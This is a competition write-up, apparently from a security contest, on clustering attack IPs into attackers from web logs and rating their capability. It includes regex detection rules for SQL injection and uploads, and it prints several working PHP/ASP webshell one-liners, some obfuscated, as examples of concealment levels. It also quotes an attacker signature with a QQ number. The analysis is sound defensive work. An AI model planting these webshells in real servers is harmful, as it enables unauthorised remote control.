Home

Awesome

DataCon-方向三-攻击源与攻击者分析-writeup

BlueThanos战队

0x01比赛要求

本题设置了多个维度的网络行为数据，涉及到不同类不同维度的数据源，包含web告警信息，ip基础信息，域名信息，whois信息，日常访问行为信息，终端行为信息等。考察选手如何通过多维度的数据源体系化的描绘一个攻击者，设计并建立一套分析方法，综合各维度数据对攻击者进行分析，描绘出可能对大会威胁最大的攻击者。

  1. 识别出攻击IP
  2. 建立一种分析方法与系统大致确定IP与人的关系。 提交分析方法设计文档(pdf)，需包含完整的处理流程图和描述。并提交实现的系统源码，要求可复现。以复现计算生成的结果为准。
  3. 建立一套分析方法与系统，从攻击目的和攻击能力层面对攻击者进行分析。 提交分析方法设计文档(pdf)，算法设计原理，模型构建。并提交实现的系统源码，要求可复现。以复现计算生成的结果为准

0x02整体思路

攻击源与攻击者分析官方解析

  1. 对日志和拓展数据预处理 由于数据量操作时间较多，所以数据聚合与处理用pandas进行，大大加快了效率。 通过对日志数据的预处理，得到IP侧相关数据和domain侧相关数据，方便协同调取使用分析。 通过正则（主要）和机器学习处理。
  1. 制定IP关联规则 主要8个规则
  2. 建立模型进行IP聚类 设计的算法依照超市选货的相关方式，对IP相关性聚类成攻击者
  3. 在日志数据预处理结果和进行完IP攻击聚类的基础上，进行攻击者人物画像
  1. 构建模型，量化能力等级

0x03系统设计

1.日志数据预处理

1)数据处理类型

定义了IP行为块的概念，识别操作类型、脚本类型、agent类型、标签、攻击类型。

标注：

2）数据处理中间结果及逻辑

分攻击侧和目标服务器侧两类中间数据集，支撑后期分析使用。 主要数据处理为生成聚类和分析能力的逻辑。进行贴标签，扫描器识别，操作类型识别（详情见3攻击矩阵），webshell识别归类，攻击类型识别，以及相关数据统计。

中间数据集说明：

3）攻击矩阵

攻击矩阵中的技术内容就是本文中的操作类型。

借鉴att&ck模型，依照本数据情况进行定义生命周期如下图。 由于漏洞检测和漏洞利用测试仅通过当前数据难以区分归为一类。 阶段3的定义目的主要在于寻求漏洞测试和持久化的桥梁，以此构建成攻击链。

操作类型： sql_injection,SQL注入漏洞利用
vul_asp_resolve,iis6.0解析漏洞
vul_struts2_rce,struts2漏洞远程执行
vul_xss,XSS漏洞利用
vul_include_fie,文件包含漏洞
vul_code_leak,代码托管配置信息导致源码泄露
vul_dede_plus_download,dedecms-download文件漏洞远程执行
vul_thinkphp_5_route_rce,thnkphp5路由漏洞远程执行
vul_thinkphp_3.2_rce,thinkphp3.2漏洞远程执行
vul_thinkphp_rce,thinkphp漏洞远程执行
vul_backup_rar,备份文件导致源码泄露
vul_search_tool_rce,查询工具代码执行漏洞
vul_fck_upload,fckeditor绕过限制上传
vul_eweb_upload,ewebeditor绕过限制上传
...

4）识别的标签

标签的识别主要是通过正则匹配实现的，webshell的识别，可以运用机器学习的方法，方法是通过脚本采集chopper、蚁剑等webshell的http request，然后抽取特征作为训练集合，训练构建模型进行识别。

主要分为4大类标签：

  1. attack类标签 共计80余条，属于攻击行为特征指纹，包括攻击类型、bypass方法等。 部分规则：
\'*(\s|\+|/\*\.*\*/)*(or|and)(\s|\+|/\*\.*\*/)+  vul_sql_injection   NaN
(=|\s+|\++|\(|\)|')select(\s+|\++|\(|\)) sql_select NaN
...
  1. info类标签 共计10余条拓展信息，但不具有攻击特征。 部分规则：
\<\?xml\s* xml
\<soap:.*> soap
Content-Disposition:.*((filename|name)=("|')|Content-Type:|form-data;) upload_with_payload
\w*(attachments|upimg|images|uploadfilesuploads|forumdata|upload|cache|avatar|upload)\w*(\.(jsp|do|action|php)|/) 
......
  1. scanner类标签 共计10余条拓展信息，识别是否具有扫描器特征。 部分规则：
webscan\s*test unknown_webscan_test 
appscan appscan 
......
  1. webshell类标签
4）识别的操作类型

通过上文识别的标签，可进一步识别该log（请求）进行攻击矩阵中哪个操作。 判断标签的存在或没有组合规则来识别。 部分规则： （yes是必须存的的标签，‘|’代表或，no是允许不存在的标签）

 reg=[
        {'yes':'vul_sql_injection'},
        {'yes':'sql_select|sql_information_schema|sql_select_union|sql_sleep|sql_group_by|sql_char','no':'exec'},
        {'yes':'vul_struts2_rce'},
         ....
        {'yes':'vul_search_tool_rce'}, 
        {'yes':'vul_cgi_mod_rce'},
        {'yes':'abnormal_file_type'},
        {'yes':'exec'}
    ]
    type=[
        'vul_sql_injection',
        'vul_sql_injection',
        'vul_struts2_rce',
         ......
        'vul_search_tool_rce', 
        'vul_cgi_mod_rce',
        'vul_abnormal_file',
        'webshell'
    ]
4）识别的攻击类型

通过IP行为块的目标和操作类型，来识别攻击类型。 主要分为：单网站的漏洞扫描、同漏洞批量扫描、web渗透、高级web渗透

5）机器学习方法使用
  1. 恶意HTTP Request检测问题
  1. Webshell通信检测分类问题
  2. Webshell文件检测及分类问题

2.IP的关联规则

说明：由于国内情况大多数IP地址是动态分配，所以定义IP+日期（103.70.225.5_2018-12-27）取代ip为目标单位元。 因为没有验证数据的支撑，IP的关联原则主要是基于专家经验原则。 总结主要有以下规则：

rule_1:同webshell连接（排除暴破密码的）[极大概率]

通过目标服务器侧中间数据可得。 webshell一般较为文件隐蔽并且具有连接字符串，所以在排除进行连接字符串暴力破解的ip后，可断定具有极大可能性访问并控制webshell的不同IP是同一攻击者。

rule_2:同webshell连接字符串,文件名 （排除弱口令字符）[极大概率]

攻击者通常会定义相同的特征的文件名和webshell连接字符串，或者因为常用脚本写入习惯的字符。所以在排除大家通用的弱口令的字符（大家常用字符），所以具有同一个字符串的ip具有极大可能是同一攻击者。 排除通用后的，部分webshell连接字符：

{ 
 'MH',
 'autoshell',
 'buselr12',
 'chase',
 'coco',
...}
rule_3:特有的hacker logo[极大概率]

攻击者一般会有自己的hacker name，通常会print（echo）打印到页面。 例如：

haorenge.comQQ317275738
...
rule_4:不同日期的相同IP[大概率]

我们把IP拓展为IP+date,所以不同在不同日期的相同IP也是大概率存在关联性的。 需判断是IDC还是个人IP，否是公开的代理或vpn服务商还是私有的（无数据支撑），相关概率是不同的。

rule_5:使用同一代理，x-forwarded-for左右ip关联[小概率]

x-forwarded-for是记录真实IP和代理IP，所以具有2个元素以上的IP是相关，但是由于大多数代理服务器是公开性的概率较低，若能判断是公开还是私有的可区分概率权重。 PS：由于本题IP范围是日志IP字段中的，所以排除了不存在于日志中IP。

rule_6:同agent相同[小概率]

user agent记录这攻击者浏览器和操作系统情况，但是agent很容易伪造。

rule_7:相同攻击行为[小概率]

针对漏洞的进行的攻击类型。

rule_8:操作相同可疑终端[小概率]

从可疑终端文件中获取。

3.IP聚类攻击者

基于上述规则生成数据，运用算法进行聚类。

对于极大概率的规则，在输出结果中我们认定是相关的，而对于其他概率由于没有验证数据无法验证权重，但根据经验我们知道，若两个以上的规则中存在相同ip_data关系元组，大大增加为同一攻击者的概率，例如相同user agent（rule_6）的并且是不同日期的相同IP（rule_4），一般就是同一攻击者。

规则4、5、6、产生的IP集合列表都是小概率来自同一攻击者。用并查集分别集合规则4、5、6产生的ip集合，得到3个列表ABC，每个列表都是不同规则产生集合整合后的不相交集合。 A、B、C列表合成一个大列表，得到D,一个大的ip_date集合的列表，然后将D中的每一元素作为事务数据，运用fp growth搜寻频繁项集，minsup=2.即寻找一些ip集k，其满足在ABC中出现过两次.即

最后用并查集将k的集合整合成不相交集合K，K中的每一元素都认为是来自同一个攻击者。 处理部分代码：

for i in range(4, 7):
val = np.load('Relu_' + str(i) + '.npy')
pre = np.zeros(40000)
_id = {}
_ip = {}
print(len(val))
for lis in val:
join(lis)
Relu.append(get_all(pre))
#联合ABC
Relu[0].extend(Relu[1])
Relu[0].extend(Relu[2])
#聚合浅规则生成强规则FP Growth频繁项集搜索
from fp_growth import find_frequent_itemsets
pre=np.zeros(40000)
_id={}
_ip={}
sss=0
for itemset in find_frequent_itemsets(Relu[0],2):
sss +=1
if(sss%10000==0): print(sss)
join(itemset)
ans=get_all(pre)

3.攻击者常规信息

1)常用ip使用情况

攻击者聚类得到的IP情况。包括IP的总共数量，每个IP的类型（运营商|IDC），是否是代理。

2)攻击过的目标

攻击的目标数量和分类统计。

3)常用的hacker logo字符串

包括webshell连接字符串和文件名以及输出的特征字符串。

4)常用工具和浏览器

攻击者尝用的工具和浏览器。

5)攻击的时间段

统计攻击的时间段。 PS:于时间的精确度太低，没法判断是人工测试还是脚本或者扫描器扫描检测。

4.攻击者目的

1)攻击动机

动机主要分为：黑产SEO，炫技，渗透攻击 通过检测攻击矩阵阶段3，上传的payload判断攻击的动机。

2)攻击目标类型

随机，还是有针对目标，主要是什么类别的。

3)攻击时间阶段统计

2，3，4对应的攻击矩阵的阶段

4)攻击者地域

判断是否是真实ip（数据支撑不够很难判断，所以不做考虑，未实现）

5)被攻击域名目标地域

5.攻击者能力分析

主要分为攻击的广度与深度、攻击复杂性分析、攻击者漏洞漏洞利用能力、攻破防护能力、反溯源能力。 前两个是定性分析，后三个可定量分析。

5.1攻击者攻击的广度与深度

1)攻击目标统计分析(空间广度)
2)攻击的数量统计分析（空间广度）
3)攻击持续时间跨度分析（时间广度）
4)目标达到攻击矩阵的阶段统计分析（深度 ）

non-attack exp payload webshell binary

5.2攻击复杂性分析

反向思考，通过目标来验证攻击的复杂性，服务器安全防护越高，攻击的复杂度越高，说明攻击者能力越强。 主要对服务器端的评价进行分析： 一个目标存在漏洞种类数量和攻击者数量，越多防护越低，攻击越容易。

5.3攻击者攻破防护能力分析

分为4个部分，等权重。如果缺少1项取其他项，讲不计入评分体系。例如：某攻击者只有一项的评分，则该攻防能力就为此一项的评分，减少数据缺失的影响。

1)EXP Bypass能力——漏洞利用中隐蔽和bypass方法的使用情况

统计 bypass和加密标签使用统计分析。 为了数据集数量对攻击者的能力评估影响，不能简单采用统计，而是选用百分比的方式。

2)webshell payload 隐蔽性

同upload的payload的webshell来判断是否有变形，加密，bypass waf 是否存在修改webshell文件时间行为（需要操作原语识别，未完成）

webshell隐蔽的等级：

等级1：普通webshell，

<?php eval($_POST['a'})?>
<% @Page Language="Jscript"%><%eval(Request.Item["qazw"],"unsafe");%>

等级2：进行简单变形（例如变量）

<%eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("8888"))%>

等级3：执行函数进行变形

<?php$a=str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]);?>

等级4：执行函数进行变形 and 通信数据进行了加密（绕过waf）

3)攻击者的安全意识（防黑吃黑）

webshell密码的复杂性 password复杂度.

主要分为4个等级：

特征数强度
特征数强度小于最小长度1
常用密码或规则的密码2
小于最小特征数3
大于或等于最小特征数4
使用Python--实现密码强度检测器进行检测

4.4攻击者反溯源能力分析

1)防自己信息泄露能力——agent 隐藏

同IP agent的数量变化，以此判断是否随机伪造agent。 判断是否使用agent随机化。

2)隐蔽隧道能力——ip代理的使用统计

计算IP代理的使用的数量和比例。

3)痕迹清除

在webshell中时候存在痕迹清除行为（需要操作原语识别，未完成）

4.5漏洞的利用能力

1)了解相关漏洞并熟练运用，根据漏洞的难度进行评判

排除sanner的漏洞利用情况，统计漏洞利用数量来评判。 优化方法：对不同漏洞利用进行评级，增加难度权重。（未实现）

2）0day漏洞利用能力

评价能力的重要标准。该漏洞所处的生命周期，0day，1day ...nday

3)拥有的webshell目标数量

数据有webshell侧中间结果集提供。

5.量化攻击能力

定量从5个维度进行量化分析 PS：现有数据较难进行量化分析。一是对于日志数据，尤其是没有状态码，无法判断攻击的效果，这对攻击能力的评判量化造成很大负面影响；二是各个攻击者数据量不同，在评判中，采集到数量多的攻击者评分会有优势，但是未被识别采集的攻击者能力更强，因为规避了waf等工具的检测。

计算出的数据进行权重平衡，每项分值相等，输出最终结果。 这三个能力具体量化评判在4有说明，如何评判。

0x04 部分结果分析

追踪溯源预览

（略）

0x05 存在问题

1.日志文件缺少状态码，对攻击的有效性难以判定。 2.时间精度（min）太低，无法判断人工或自动化攻击。 3.恶意文件相关提供信息较少（eg:恶意行为，对外发送流量）。 4.同目标正常访问Log数据较少，对机器学习方法训练集不友好。 5.获取流量数据集优于日志数据集。

Reference